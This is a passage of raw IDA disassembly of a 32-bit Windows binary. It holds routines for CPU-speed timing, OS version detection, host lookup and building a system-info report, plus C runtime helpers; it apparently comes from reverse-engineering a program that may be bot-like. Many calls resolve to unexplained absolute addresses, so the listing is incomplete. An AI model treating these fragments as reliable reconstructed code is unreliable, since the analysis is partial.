XREF: sub_41A8F5+2Ej cmp [ebp+var_90], 5 jnz short loc_41A988 cmp [ebp+var_8C], esi jz short loc_41A94F cmp [ebp+var_8C], 1 jnz short loc_41A97C loc_41A978: ; CODE XREF: sub_41A8F5+67j push 3 jmp short loc_41A987 ; --------------------------------------------------------------------------- loc_41A97C: ; CODE XREF: sub_41A8F5+81j cmp [ebp+var_8C], 2 jnz short loc_41A988 push 7 loc_41A987: ; CODE XREF: sub_41A8F5+4Fj ; sub_41A8F5+5Cj ... pop esi loc_41A988: ; CODE XREF: sub_41A8F5+25j ; sub_41A8F5+4Bj ... mov eax, esi pop esi leave retn sub_41A8F5 endp ; =============== S U B R O U T I N E ======================================= sub_41A98D proc near ; CODE XREF: sub_41AA43+290p push ebx push esi push edi mov esi, 0F4240h loc_41A995: ; CODE XREF: sub_41A98D+2Fj ; sub_41A98D+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call near ptr 2680000h nop rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41D410 mov edi, edx mov ebx, eax test edi, edi ja short loc_41A995 jb short loc_41A9C4 cmp ebx, esi ja short loc_41A995 loc_41A9C4: ; CODE XREF: sub_41A98D+31j push 0 push 64h push edi push ebx call sub_41D480 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AA37 jb short loc_41A9E3 cmp esi, 50h jnb short loc_41A9E8 loc_41A9E3: ; CODE XREF: sub_41A98D+4Fj push 4Bh xor edx, edx pop eax loc_41A9E8: ; CODE XREF: sub_41A98D+54j test ecx, ecx ja short loc_41AA37 jb short loc_41A9F3 cmp esi, 47h jnb short loc_41A9F8 loc_41A9F3: ; CODE XREF: sub_41A98D+5Fj push 42h xor edx, edx pop eax loc_41A9F8: ; CODE XREF: sub_41A98D+64j test ecx, ecx ja short loc_41AA37 jb short loc_41AA03 cmp esi, 37h jnb short loc_41AA08 loc_41AA03: ; CODE XREF: sub_41A98D+6Fj push 32h xor edx, edx pop eax loc_41AA08: ; CODE XREF: sub_41A98D+74j test ecx, ecx ja short loc_41AA37 jb short loc_41AA13 cmp esi, 26h jnb short loc_41AA18 loc_41AA13: ; CODE XREF: sub_41A98D+7Fj push 21h xor edx, edx pop eax loc_41AA18: ; CODE XREF: sub_41A98D+84j test ecx, ecx ja short loc_41AA37 jb short loc_41AA23 cmp esi, 1Eh jnb short loc_41AA28 loc_41AA23: ; CODE XREF: sub_41A98D+8Fj push 19h xor edx, edx pop eax loc_41AA28: ; CODE XREF: sub_41A98D+94j test ecx, ecx ja short loc_41AA37 jb short loc_41AA33 cmp esi, 0Ah jnb short loc_41AA37 loc_41AA33: ; CODE XREF: sub_41A98D+9Fj xor eax, eax xor edx, edx loc_41AA37: ; CODE XREF: sub_41A98D+4Dj ; sub_41A98D+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41A98D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA43 proc near ; CODE XREF: sub_401ACD+276Fp var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_43D808 mov [ebp+var_CC], 94h nop call near ptr 26D066Bh xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AACA cmp [ebp+var_C4], ebx jnz short loc_41AAA6 cmp [ebp+var_BC], 1 jnz short loc_41AA90 mov [ebp+var_4], offset dword_431974 loc_41AA90: ; CODE XREF: sub_41AA43+44j cmp [ebp+var_BC], 2 jnz loc_41AB45 mov [ebp+var_4], offset dword_431970 jmp short loc_41AB16 ; --------------------------------------------------------------------------- loc_41AAA6: ; CODE XREF: sub_41AA43+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AAB8 mov [ebp+var_4], offset dword_43196C jmp short loc_41AB0D ; --------------------------------------------------------------------------- loc_41AAB8: ; CODE XREF: sub_41AA43+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AB06 mov [ebp+var_4], offset dword_431968 jmp short loc_41AB0D ; --------------------------------------------------------------------------- loc_41AACA: ; CODE XREF: sub_41AA43+33j cmp [ebp+var_C8], 5 jnz short loc_41AB06 cmp [ebp+var_C4], ebx jnz short loc_41AAE4 mov [ebp+var_4], offset dword_431964 jmp short loc_41AB0D ; --------------------------------------------------------------------------- loc_41AAE4: ; CODE XREF: sub_41AA43+96j cmp [ebp+var_C4], 1 jnz short loc_41AAF6 mov [ebp+var_4], offset dword_431960 jmp short loc_41AB0D ; --------------------------------------------------------------------------- loc_41AAF6: ; CODE XREF: sub_41AA43+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AB0D loc_41AB06: ; CODE XREF: sub_41AA43+7Cj ; sub_41AA43+8Ej mov [ebp+var_4], offset dword_431958 loc_41AB0D: ; CODE XREF: sub_41AA43+73j ; sub_41AA43+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AB45 loc_41AB16: ; CODE XREF: sub_41AA43+61j cmp [ebp+var_B8], bl jz short loc_41AB45 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_1 ; "%s (%s)" push eax call sub_41B886 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41AB45: ; CODE XREF: sub_41AA43+54j ; sub_41AA43+D1j ... mov ax, word_437F2C push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CB534 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41AB7E lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41AB7E: ; CODE XREF: sub_41AA43+12Cj push [ebp+arg_4] call sub_40AC10 pop ecx push eax call dword_4CB694 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CB60C cmp eax, ebx jz short loc_41ABA7 push dword ptr [eax] jmp short loc_41ABAC ; --------------------------------------------------------------------------- loc_41ABA7: ; CODE XREF: sub_41AA43+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41ABAC: ; CODE XREF: sub_41AA43+162j lea eax, [ebp+var_3E4] push eax call sub_41B886 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call near ptr 2670A78h nop lea eax, [ebp+var_114] push 46h push eax push offset dword_43A7FC push ebx mov esi, 409h push ebx push esi call near ptr 2730000h nop lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call near ptr 2721327h nop push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_38] push eax call near ptr 2830000h nop push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41B9D1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416A33 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41A88C add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AC10 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416923 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416923 pop ecx pop ecx push eax call sub_41A98D push edx push eax push offset dword_43A720 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AA43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF7 proc near ; CODE XREF: sub_401ACD+279Dp ; sub_401ACD+72F6p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B590 add esp, 0Ch cmp dword_4CB73C, 0 jnz short loc_41AD63 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CB518 test eax, eax jnz short loc_41AD4C lea eax, [ebp+var_8C] push offset dword_43A87C push eax call sub_41B886 pop ecx pop ecx loc_41AD4C: ; CODE XREF: sub_41ACF7+40j test [ebp+var_C], 1 jz short loc_41AD59 push offset dword_43A874 jmp short loc_41AD5E ; --------------------------------------------------------------------------- loc_41AD59: ; CODE XREF: sub_41ACF7+59j push offset off_43A870 loc_41AD5E: ; CODE XREF: sub_41ACF7+60j lea eax, [ebp+var_8] jmp short loc_41AD7B ; --------------------------------------------------------------------------- loc_41AD63: ; CODE XREF: sub_41ACF7+28j mov esi, offset off_43A86C lea eax, [ebp+var_8] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41AD7B: ; CODE XREF: sub_41ACF7+6Aj push eax call sub_41B886 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AC10 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A828 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41ACF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB6 proc near ; DATA XREF: sub_401ACD+7715o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A95C call sub_41B590 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41B590 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41B590 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41B590 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41B590 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CB550 test eax, eax jz loc_41AF50 cmp [ebp+var_34], ebx jbe short loc_41AE8D push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41B5F0 add esp, 0Ch loc_41AE8D: ; CODE XREF: sub_41ADB6+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41AEAB push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEAB: ; CODE XREF: sub_41ADB6+DEj cmp [ebp+var_20], ebx jbe short loc_41AEC5 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41B5F0 add esp, 0Ch loc_41AEC5: ; CODE XREF: sub_41ADB6+F8j cmp [ebp+var_18], ebx jbe short loc_41AEDF push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEDF: ; CODE XREF: sub_41ADB6+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CB604 call dword_4CB628 mov esi, eax cmp esi, ebx jz short loc_41AF68 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CB61C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41AF6F push ebx push ebx push ebx push ebx push eax call dword_4CB5C8 test eax, eax jz short loc_41AF49 push offset dword_43A940 jmp short loc_41AF74 ; --------------------------------------------------------------------------- loc_41AF49: ; CODE XREF: sub_41ADB6+18Aj push offset unk_43A904 jmp short loc_41AF74 ; --------------------------------------------------------------------------- loc_41AF50: ; CODE XREF: sub_41ADB6+B7j lea eax, [ebp+var_55C] push offset dword_43A8E8 push eax call sub_41B886 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41AF82 ; --------------------------------------------------------------------------- loc_41AF68: ; CODE XREF: sub_41ADB6+153j push offset unk_43A8BC jmp short loc_41AF74 ; --------------------------------------------------------------------------- loc_41AF6F: ; CODE XREF: sub_41ADB6+17Bj push offset unk_43A88C loc_41AF74: ; CODE XREF: sub_41ADB6+191j ; sub_41ADB6+198j ... lea eax, [ebp+var_55C] push eax call sub_41B886 pop ecx pop ecx loc_41AF82: ; CODE XREF: sub_41ADB6+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41AFAD push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409A73 add esp, 14h loc_41AFAD: ; CODE XREF: sub_41ADB6+1D2j lea eax, [ebp+var_55C] push eax call sub_4151AD pop ecx push esi call dword_4CB688 push [ebp+var_4] call dword_4CB688 push [ebp+var_1D8] call sub_40B413 pop ecx push ebx nop call near ptr 26E0000h pop edi pop esi pop ebx sub_41ADB6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B000 loc_41AFEC: ; CODE XREF: sub_41AFE0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B033 test ecx, 3 jnz short loc_41AFEC add eax, 0 loc_41B000: ; CODE XREF: sub_41AFE0+Aj ; sub_41AFE0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B000 mov eax, [ecx-4] test al, al jz short loc_41B051 test ah, ah jz short loc_41B047 test eax, 0FF0000h jz short loc_41B03D test eax, 0FF000000h jz short loc_41B033 jmp short loc_41B000 ; --------------------------------------------------------------------------- loc_41B033: ; CODE XREF: sub_41AFE0+11j ; sub_41AFE0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B03D: ; CODE XREF: sub_41AFE0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B047: ; CODE XREF: sub_41AFE0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AFE0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41AFE0 endp ; =============== S U B R O U T I N E ======================================= sub_41B05B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+58DBp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B070 or eax, 0FFFFFFFFh jmp short loc_41B0AA ; --------------------------------------------------------------------------- loc_41B070: ; CODE XREF: sub_41B05B+Ej test al, 83h jz short loc_41B0A8 push esi call sub_41DB8B push esi mov edi, eax call sub_41DB25 push dword ptr [esi+10h] call sub_41DA72 add esp, 0Ch test eax, eax jge short loc_41B096 or edi, 0FFFFFFFFh jmp short loc_41B0A8 ; --------------------------------------------------------------------------- loc_41B096: ; CODE XREF: sub_41B05B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B0A8 push eax call sub_41B0B1 and dword ptr [esi+1Ch], 0 pop ecx loc_41B0A8: ; CODE XREF: sub_41B05B+17j ; sub_41B05B+39j ... mov eax, edi loc_41B0AA: ; CODE XREF: sub_41B05B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B05B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40AB32+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B117 mov eax, dword_4DCFE8 cmp eax, 3 jnz short loc_41B0DD push esi call sub_41DE77 pop ecx test eax, eax push esi jz short loc_41B109 push eax call sub_41DEA2 pop ecx pop ecx jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B0DD: ; CODE XREF: sub_41B0B1+14j cmp eax, 2 jnz short loc_41B108 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_41B108 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EC29 add esp, 0Ch jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B108: ; CODE XREF: sub_41B0B1+2Fj ; sub_41B0B1+44j push esi loc_41B109: ; CODE XREF: sub_41B0B1+20j push 0 push dword_4DCFE4 call near ptr 2790000h nop loc_41B117: ; CODE XREF: sub_41B0B1+Aj ; sub_41B0B1+2Aj ... pop esi leave retn sub_41B0B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B11A proc near ; CODE XREF: sub_4010AB+45p ; ___:0040F08Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B13E xor eax, eax jmp loc_41B1E7 ; --------------------------------------------------------------------------- loc_41B13E: ; CODE XREF: sub_41B11A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B151 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B151: ; CODE XREF: sub_41B11A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B15A: ; CODE XREF: sub_41B11A+C4j mov ecx, [ebp+arg_0] loc_41B15D: ; CODE XREF: sub_41B11A+35j ; sub_41B11A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B18F mov eax, [esi+4] test eax, eax jz short loc_41B18F cmp ecx, eax mov edi, ecx jb short loc_41B174 mov edi, eax loc_41B174: ; CODE XREF: sub_41B11A+56j push edi push dword ptr [esi] push ebx call sub_41C310 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B18F: ; CODE XREF: sub_41B11A+49j ; sub_41B11A+50j cmp ecx, [ebp+arg_C] jb short loc_41B1C2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B1A5 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B1A5: ; CODE XREF: sub_41B11A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch test eax, eax jz short loc_41B1EC cmp eax, 0FFFFFFFFh jz short loc_41B1F2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B1C2: ; CODE XREF: sub_41B11A+78j push esi call sub_41F043 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B1F6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B1DA: ; CODE XREF: sub_41B11A+73j ; sub_41B11A+A6j cmp [ebp+arg_0], 0 jnz loc_41B15A mov eax, [ebp+arg_8] loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj ; sub_41B11A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B1F6 ; --------------------------------------------------------------------------- loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj or dword ptr [esi+0Ch], 20h loc_41B1F6: ; CODE XREF: sub_41B11A+B2j ; sub_41B11A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B1E7 sub_41B11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41CFD3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B21D push [ebp+arg_4] call sub_41B4D5 pop ecx jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B202+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B232 push [ebp+arg_0] call sub_41B0B1 pop ecx jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B232: ; CODE XREF: sub_41B202+20j mov eax, dword_4DCFE8 cmp eax, 3 jnz loc_41B342 loc_41B240: ; CODE XREF: sub_41B202+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B31E push [ebp+arg_0] call sub_41DE77 mov ebx, eax pop ecx test ebx, ebx jz loc_41B2F9 cmp esi, dword_4DCFE0 ja short loc_41B2B2 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41E680 add esp, 0Ch test eax, eax jnz short loc_41B2AE push esi call sub_41E1CB mov edi, eax pop ecx test edi, edi jz short loc_41B2B2 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B292 mov eax, esi loc_41B292: ; CODE XREF: sub_41B202+8Cj push eax push ebx push edi call sub_41C310 push ebx call sub_41DE77 push [ebp+arg_0] mov ebx, eax push ebx call sub_41DEA2 add esp, 18h loc_41B2AE: ; CODE XREF: sub_41B202+74j test edi, edi jnz short loc_41B2F5 loc_41B2B2: ; CODE XREF: sub_41B202+62j ; sub_41B202+81j test esi, esi jnz short loc_41B2B9 push 1 pop esi loc_41B2B9: ; CODE XREF: sub_41B202+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DCFE4 nop call near ptr 27A0000h mov edi, eax test edi, edi jz short loc_41B2F5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B2E1 mov eax, esi loc_41B2E1: ; CODE XREF: sub_41B202+DBj push eax push ecx push edi call sub_41C310 push [ebp+arg_0] push ebx call sub_41DEA2 add esp, 14h loc_41B2F5: ; CODE XREF: sub_41B202+AEj ; sub_41B202+D0j test ebx, ebx jnz short loc_41B31A loc_41B2F9: ; CODE XREF: sub_41B202+56j test esi, esi jnz short loc_41B300 push 1 pop esi loc_41B300: ; CODE XREF: sub_41B202+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DCFE4 call near ptr 2840000h nop mov edi, eax loc_41B31A: ; CODE XREF: sub_41B202+F5j test edi, edi jnz short loc_41B33B loc_41B31E: ; CODE XREF: sub_41B202+43j cmp dword_4DB9DC, 0 jz short loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B240 jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: sub_41B202+11Aj ; sub_41B202+123j ... mov eax, edi jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B342: ; CODE XREF: sub_41B202+38j cmp eax, 2 jnz loc_41B45D cmp esi, 0FFFFFFE0h ja short loc_41B35F test esi, esi jbe short loc_41B35C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B35F ; --------------------------------------------------------------------------- loc_41B35C: ; CODE XREF: sub_41B202+150j push 10h pop esi loc_41B35F: ; CODE XREF: sub_41B202+14Cj ; sub_41B202+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B43F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41EBD2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B423 cmp esi, dword_43C9D4 jnb short loc_41B3E7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EF9A add esp, 10h test eax, eax jz short loc_41B3AD mov edi, [ebp+arg_0] jmp short loc_41B3DF ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B202+1A4j push edi call sub_41EC6E mov edi, eax pop ecx test edi, edi jz short loc_41B3E7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B3C6 mov eax, esi loc_41B3C6: ; CODE XREF: sub_41B202+1C0j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h loc_41B3DF: ; CODE XREF: sub_41B202+1A9j test edi, edi jnz loc_41B33B loc_41B3E7: ; CODE XREF: sub_41B202+18Bj ; sub_41B202+1B6j push esi push 0 push dword_4DCFE4 nop call near ptr 27A0000h mov edi, eax test edi, edi jz short loc_41B43F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B408 mov eax, esi loc_41B408: ; CODE XREF: sub_41B202+202j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h jmp short loc_41B437 ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41B202+17Fj push esi push [ebp+arg_0] push 0 push dword_4DCFE4 call near ptr 2840000h nop mov edi, eax loc_41B437: ; CODE XREF: sub_41B202+21Fj test edi, edi jnz loc_41B33B loc_41B43F: ; CODE XREF: sub_41B202+162j ; sub_41B202+1F8j cmp dword_4DB9DC, 0 jz loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B35F jmp short loc_41B49B ; --------------------------------------------------------------------------- loc_41B45D: ; CODE XREF: sub_41B202+143j ; sub_41B202+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B487 test esi, esi jnz short loc_41B46B push 1 pop esi loc_41B46B: ; CODE XREF: sub_41B202+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DCFE4 nop call near ptr 2840000h test eax, eax jnz short loc_41B49D loc_41B487: ; CODE XREF: sub_41B202+260j cmp dword_4DB9DC, 0 jz short loc_41B49D push esi call sub_41F312 test eax, eax pop ecx jnz short loc_41B45D loc_41B49B: ; CODE XREF: sub_41B202+2Bj ; sub_41B202+134j ... xor eax, eax loc_41B49D: ; CODE XREF: sub_41B202+16j ; sub_41B202+13Bj ... pop edi pop esi pop ebx leave retn sub_41B202 endp ; =============== S U B R O U T I N E ======================================= sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F49D test eax, eax jnz short loc_41B4AC retn ; --------------------------------------------------------------------------- loc_41B4AC: ; CODE XREF: sub_41B4A2+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F32D add esp, 10h retn sub_41B4A2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+58AFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B4A2 add esp, 0Ch retn sub_41B4C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40AB32+63p ... arg_0 = dword ptr 4 push 